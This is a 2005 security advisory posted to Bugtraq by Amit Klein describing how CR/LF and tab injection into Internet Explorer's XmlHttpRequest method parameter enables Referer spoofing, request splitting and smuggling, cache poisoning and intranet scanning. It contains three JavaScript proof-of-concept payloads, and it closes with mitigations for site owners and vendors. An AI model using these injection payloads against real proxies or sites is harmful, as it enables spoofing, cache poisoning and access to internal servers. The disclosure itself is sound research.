

"Exploiting the XmlHttpRequest object in IE" – paper by Amit Klein

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2005-09/0287.html>

From: Amit Klein (AKsecurity) (aksecurity_at_hotpop.com)

Date: 09/24/05

Date: Sat, 24 Sep 2005 19:50:30 +0200
To: bugTraq <bugtraq@securityfocus.com>

Exploiting the XmlHttpRequest object in IE – Referrer spoofing,
and a lot more...

Amit Klein, September 2005

Preface

=====

This paper is released in a bit of haste, and as such, it may be somewhat incomplete. The reason is that I was toying with the concepts and techniques outlined in it for the past few weeks. Then, a day before yesterday, Mozilla released Firefox 1.0.7 which fixes a security problem (reported by Tim Altman and Yutaka Oiwa, independently) very similar to what I discuss, and sharing some concepts with it:

<http://www.mozilla.org/security/announce/mfsa2005-58.html#xmlhttp>

Since the cat is now out of the bag, I decided to quickly finalize my research and paper (which were done independently, but alas too late...) and provide it to the public.

Introduction

=====

XmlHttpRequest is a Javascript object that allows a client side Javascript code to send almost raw HTTP requests to the origin host and to access the response's body in raw form. As such, XmlHttpRequest is a core component of AJAX.

It seems that the same origin security policy ensures that the power of XmlHttpRequest is only used in a secure manner (after all, if the Javascript code can only access the server it originated from, then what harm can be done, except for XSS conditions), but this is not so. In fact, about 2.5 years ago I noticed a problem in XmlHttpRequest's implementation in IE – IE doesn't validate some critical fields that are provided by the user [1]. Back at that

time, the attack vector was through an XSS condition, but the basic flaw (and other, related flaws) renders itself nicely to other conditions, which we'll see below.

The techniques discussed below allows the attacker (given the right conditions) to perform:

- * Referer spoofing (for leeching and for complete client–side MITM attack)
- * HTTP Request Smuggling [5], HTTP Response Splitting [6] and Web cache poisoning (see [5] and [6] for details)
- * Accessing content / web–scanning

Note that Referer is considered (for some reason) to be a good way of validating that a browser–using non–malicious client is interacting with the site in the "expected" manner, i.e. not via CSRF or embedded frame. Referer validation is suggested in [3] to prevent CSRF, and in several other sources as a way to prevent leeching (linking to images in other sites). In this paper, I prove that given some conditions, the Referer can be completely spoofed at the client side, and that pages and images can be successfully pulled and displayed using a spoofed Referer (in some scenarios). As such, using the Referer can no longer be considered a security measure, at least not in HTTP requests (as opposed to HTTPS/SSL).

Basic technique – retrieving a page with a spoofed Referer

=====

The attacker's website is `www.attacker.site`, the target website is `www.target.site`.

The assumption is that the client uses a (cache) forward proxy server (not all proxy servers can be used, see discussion below), OR that the `www.attacker.site` and `www.target.site` are virtually hosted on the same IP address.

The client downloads a page from `www.attacker.site`. This page contains a Javascript code the mounts the attack. The Javascript code exploits the XmlHttpRequest object to mount the attack.

I first demonstrate how a Referer can be spoofed.

Here's a Javascript code (in the `www.attacker.site` domain) that can be used with IE (henceforth, all examples pertain to IE 6.0 SP2) to send a valid Referer and read the page's contents (we assume that the browser uses a forward proxy server):

```
var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/page.cgi?parameters\thttp
/1.0\r\nHost:\twwww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\thttp
```

```
/1.0\r\nFoobar:", "http://www.attacker.site/",false);  
  
x.send();  
  
alert(x.responseText);
```

Notice the use of HT (Horizontal Tab, ASCII 0x09) instead of SP (Space, ASCII 0x20) in the HTTP request line. This is clearly not allowed by the HTTP/1.1 RFC (see [2] section 5.1), yet many proxy servers I toyed with allow this syntax, and moreover, will convert HT to SP in the outgoing request (so the web server will have no idea that HTs were used).

Some proxy servers that allow HT as a separator in the request line are:

- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10–NT
- Sun Java System Web Proxy Server 4.0

Also notice the HTTP Request Splitting (Ory – this is for you...) condition that occurs here. The attacker forces the browser to send 2 HTTP requests where it intended to send one. This splitting technique is exploited in [3] as part of the HTTP headers (as opposed to the method parameter we exploit here).

If the browser does not use a forward proxy server, and www.target.site and www.attacker.site are virtually hosted in the same IP, then the following variant may be used:

```
var x = new ActiveXObject("Microsoft.XMLHTTP");  
  
x.open("GET\t  
/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nR  
eferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET  
\t\tHTTP/1.0\r\nFoobar:", "http://www.attacker.site/",false);  
  
x.send();  
  
alert(x.responseText);
```

The net result is that two requests are sent to the server, and the response from the first one is returned by the browser to the XmlHttpRequest object. The code can then embed the returned page in the window's html (e.g. document.body.innerHTML=...). Note that the malicious Javascript code can first scan the returned page and manipulate it, e.g. remove security checks such as "if (top.location!='http://www.target.site/...')."

The problem with images, and how it can be solved

=====

The XmlHttpRequest object is suitable for retrieving textual documents, such as HTML and XML pages. However, it is not so useful for retrieving binary data, such as images. To begin with, in IE, XmlHttpRequest seems to trim the data it returns (via the responseText/responseBody methods) at the first null byte. Even if one can work around this (and this may perhaps be possible if one sends a Range header to skip the null bytes, yet this method is extremely bandwidth and time consuming, to the point that it's totally impractical), one doesn't really have anything useful to do with the image data – there's no way I know of to tell IE to render data as an image (it seems that the "data:" scheme in OBJECT and IMG tags is not implemented in IE).

In this case, one needs to take a different approach. The following will only work when the browser uses a *caching* forward proxy server, and the image is cacheable by the proxy server.

```
var x = new XMLHttpRequest("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/image.gif\thttp://1.0\r\nHost:www.target.site\r\nReferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost\thttp://1.0\r\nForwarded:" , "http://www.attacker.site/" , false);

x.send();

document.write("<img src='http://www.target.site/image.gif'>");
```

The request through the XmlHttpRequest object will be to <http://www.target.site/image.gif>, and as such will be forwarded to www.target.site (with the Referer being <http://www.target.site/somepath?somequery>). Later, the browser would parse the IMG tag and send a request to <http://www.target.site/image.gif>, with a Referer "<http://www.attacker.site/...>". However, the cache server already has <http://www.target.site/image.gif> cached, and it will therefore return the cached object, and will not forward any request to www.target.site. The net result is a single hit on www.target.site with a correct Referer.

By this I have completed the demonstration of how MITM websites can be constructed at the client side, using a correct Referer to fetch the original content.

Notes

1. As can be appreciated, the same technique can be used to perform "scanning" (CGI scanning and web scanning) on various targets – be they public servers or intranet servers. This technique works only if the browser uses a proxy server (not necessarily caching). Note that it's always possible to force a browser to send a request to any server, a–la CSRF ([3]), but in our case, the response is available to the malicious script, which is not the case with CSRF.
2. Likewise, the technique can be used to access materials on non–public (intranet) servers. In fact, this vector is mentioned in [4].
3. In all cases, it is important to note that from the browser's perspective, the requests are sent to the www.attacker.site, in the attacker.site domain. As such, the browser will not append cookies or authentication information belonging to www.target.site to those requests, nor will it grant access to the target.site to any scripts found in the responses. Therefore, this attack is not XSS.
4. The victim (human being) may interact with the MITM website, disclosing information as the interaction proceeds. One way to limit this from happening is (assuming cookies are used to maintain a session) to explicitly set the cookie's domain/host, and use the HTTP Set–Cookie response header (rather than the META tag or Javascript). Since XmlHttpRequest does not grant access to the response headers, this cookie cannot be read, and from the browser's perspective, the domain is www.attacker.site, those cookies will not be appended to outgoing requests.

Request Smuggling and Response Splitting

=====

This discussion is limited to browsers with forward proxy servers. Until now, we demonstrated how splitting the request in XmlHttpRequest results in a first request that is completely under the attacker's control (up to having to use HT instead of SP). The attacker then used in some way the first response (either directly, or because it was cached by the proxy server).

However, it is possible to take this technique a step further, and inject 2–3 requests (on which the attacker has full control). This allows the attacker to perform attacks such as HTTP Request Smuggling, and HTTP Response Splitting. Note that in order to carry those out, there's a need to fully control some caching directives in the requests.

I also ignored an interesting issue, which is the second request and the second response. There are two options:

1. The attacker may like the second request to (gracefully) terminate the TCP connection. In this case, the XmlHttpRequest object will ignore the second response, and it will simply "get lost" because the TCP connection is terminated. This is desired for the Referer spoofing techniques discussed above.
2. The attacker may like to keep the TCP connection alive, and to take the requests and responses out of sync (a-la HTTP Request Smuggling). This may enable the attacker to conduct various cross-domain attacks (XSS), and this is in fact demonstrated for Firefox in [4] (but I haven't tested it on IE). It may also aid in retrieving images with a proper Referer, in case the proxy server does not cache the objects that pass through it, or in case the images are not cacheable.

Mozilla/FireFox

=====

I focused mainly on IE (tested IE 6.0 and 6.0 SP2), so I don't have a lot of results on Mozilla/FireFox. I suspect it is vulnerable to the same technique, possibly even more so since I suspect it allows SP in the method parameter.

Conclusions

=====

- In some cases, the Referer header can be completely spoofed (at the client side).
- Even when the request looks genuine, the browser may have emitted it from the "wrong" domain.

Recommendations

=====

Site owners

- Use SSL (as always).
- Do not use virtual hosting with other, non-trustable domains.
- Don't rely on client side code to prevent cloning/MITM – the attacker may scan and remove this code.
- Don't rely on Referer.
- Set explicit host/domain in cookie, and verify that the cookie is sent back, as early as possible (ideally before

sensitive data is requested from the user).

Vendors

- Microsoft is encouraged to filter HT, CR and LF in the method parameter (HT filtering was recommended in [1] 2.5 years ago). Other browser vendors are encouraged to check whether their implementation is vulnerable.
- Proxy server vendors are encouraged not to allow raw HT in the request line.

References

=====

[1] "XS(T) attack variants which ca, in some cases, eliminate the need for TRACE", Amit Klein, WebAppSec mailing list submission, January 26th, 2003

<http://www.securityfocus.com/archive/107/308433>

[2] "Cross-Site Request Forgeries", Peter W[atkins?], June 13th, 2001

<http://www.tux.org/~peterw/csrf.txt>

[3] "Hyper Text Transfer Protocol – HTTP/1.1" (RFC 2616),

<http://www.ietf.org/rfc/rfc2616.txt>

[4] "setRequestHeader can be exploited using newline characters", Bugzilla bug 297078

https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and

"XMLHttpRequest allows dangerous request headers to be set",

Bugzilla bug 302263

https://bugzilla.mozilla.org/show_bug.cgi?id=302263

[5] "HTTP Request Smuggling", Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin.

<http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf>

[6] "Divide and Conquer – HTTP Response Splitting, web Cache poisoning and Related Topics", Amit Klein.

http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf